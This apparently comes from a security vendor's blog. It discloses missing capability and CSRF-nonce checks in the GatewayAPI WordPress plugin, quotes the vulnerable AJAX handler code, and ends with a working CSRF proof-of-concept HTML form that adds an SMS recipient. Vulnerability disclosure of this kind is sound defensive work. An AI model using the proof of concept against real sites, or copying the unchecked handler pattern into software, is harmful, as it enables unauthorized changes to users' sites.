Insecure WordPress Plugin Claims it “Hardens the Security of Your Site Considerably”
On Friday we had a request on our website for a file from a WordPress plugin we don’t have installed, GatewayAPI:
/wp-content/plugins/gatewayapi/inc/security_two_factor.php
In the latest version of the file, the first line of code restricts directly accessing the file:
1 | <?php if (!defined('ABSPATH')) die('Cannot be accessed directly!'); ?> |
So what would be the purpose of requesting that?
Looking back to the version of the plugin that introduced that file, that same line was there as well.
Doing a search on the file brought up someone using the Wordfence Security plugin and yet getting hacked, mentioned the file at that location existing on the website, despite not having installed that plugin. Hackers sometimes use existing plugins, with malicious code added, as part of what their activity once they gain access to a website.
Our guess then would that the request we saw was someone trying to exploit the hack file in that location and the request had nothing to do with the legitimate plugin, or exploiting a vulnerability in it. But to be on the safe side, we did our standard checks when a plugin appears to be being targeted by a hacker.
What we found was that this plugin is lacking basic security, while being marketed with this claim in its description on the WordPress Plugin Directory:
Also included is a free SMS two-factor authentication module, which hardens the security of your site considerably.
The good news is that we didn’t see any obvious serious security issues caused by the lack of security.
This is a good reminder that if you are looking to add additional security to your WordPress website, that security plugins can actually introduce additional security risk. Getting security reviews of the plugins you use can provide additional security that security plugins don’t provide.
Privilege Escalation and Cross-Site Requst Forgery (CSRF).
One example of that missing security involves an AJAX accessible function to add a recipient to a SMS, which is located in the file /inc/cpt_sms_editor_ui.php, and is accessible to anyone logged in to WordPress:
436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 | add_action('wp_ajax_gatewayapi_sms_manual_add_recipient', function () { header("Content-type: application/json"); $post_ID = (int)$_POST['post_ID']; $post = get_post($post_ID); if (get_post_type($post_ID) != 'gwapi-sms') wp_die("WRONG_TYPE", "Wrong post type."); if (get_post_status($post_ID) == 'publish') die(json_encode(['success' => false, 'errors' => ['*' => 'This SMS has already been sent and thus it cannot be modified.']])); $cc = $_POST['gatewayapi']['single_recipient']['cc']; $number = $_POST['gatewayapi']['single_recipient']['number']; $name = $_POST['gatewayapi']['single_recipient']['name']; $data = ['cc' => $cc, 'number' => $number]; $errors = []; $errors = _gwapi_validate_recipient_basic($errors, $data, $post); if ($errors) { die(json_encode(['success' => false, 'errors' => $errors])); } // is this recipient already added to this sms? foreach (get_post_meta($post_ID, 'single_recipient') as $sr) { if ($sr['cc'] == $cc && $sr['number'] == $number) { die(json_encode(['success' => false, 'errors' => ['*' => 'The same recipient (country code + phone number) has already been added to this SMS.']])); } }; // save the recipient on the SMS $metaID = add_post_meta($post_ID, 'single_recipient', ['cc' => $cc, 'number' => $number, 'name' => $name]); die(json_encode(['success' => true, 'ID' => $metaID])); }); |
At the beginning of the code it is missing a capabilities check to limit what level of WordPress user can access that function, even though the functionality appears only to be accessed by Editor and Administrators by default. There is also a lack of a check for a valid nonce to prevent cross-site request forgery (CSRF). So both a lower level user can intentionally access that and through CSRF an attacker could cause them to access it without intending it.
There is also a lack of validation or sanitization on the “name” value sent with that, though we didn’t see there or elsewhere where that could lead to cross-site scripting (XSS).
WordPress Causes Full Disclosure
Because of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.) You can notify the developer of this issue on the forum as well. Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Is It Fixed?
If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.
Proof of Concept
The following will add a new recipient to a SMS draft with the name “PoC”.
Replace “[path to WordPress]” with the location of WordPress and “[post ID]” with the ID of a draft SMS.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=gatewayapi_sms_manual_add_recipient" method="POST"> <input type="hidden" name="post_ID" value="[post ID]" /> <input type="hidden" name="gatewayapi[single_recipient][cc]" value="1" /> <input type="hidden" name="gatewayapi[single_recipient][number]" value="1" /> <input type="hidden" name="gatewayapi[single_recipient][name]" value="PoC" /> <input type="submit" value="Submit" /> </form> </body>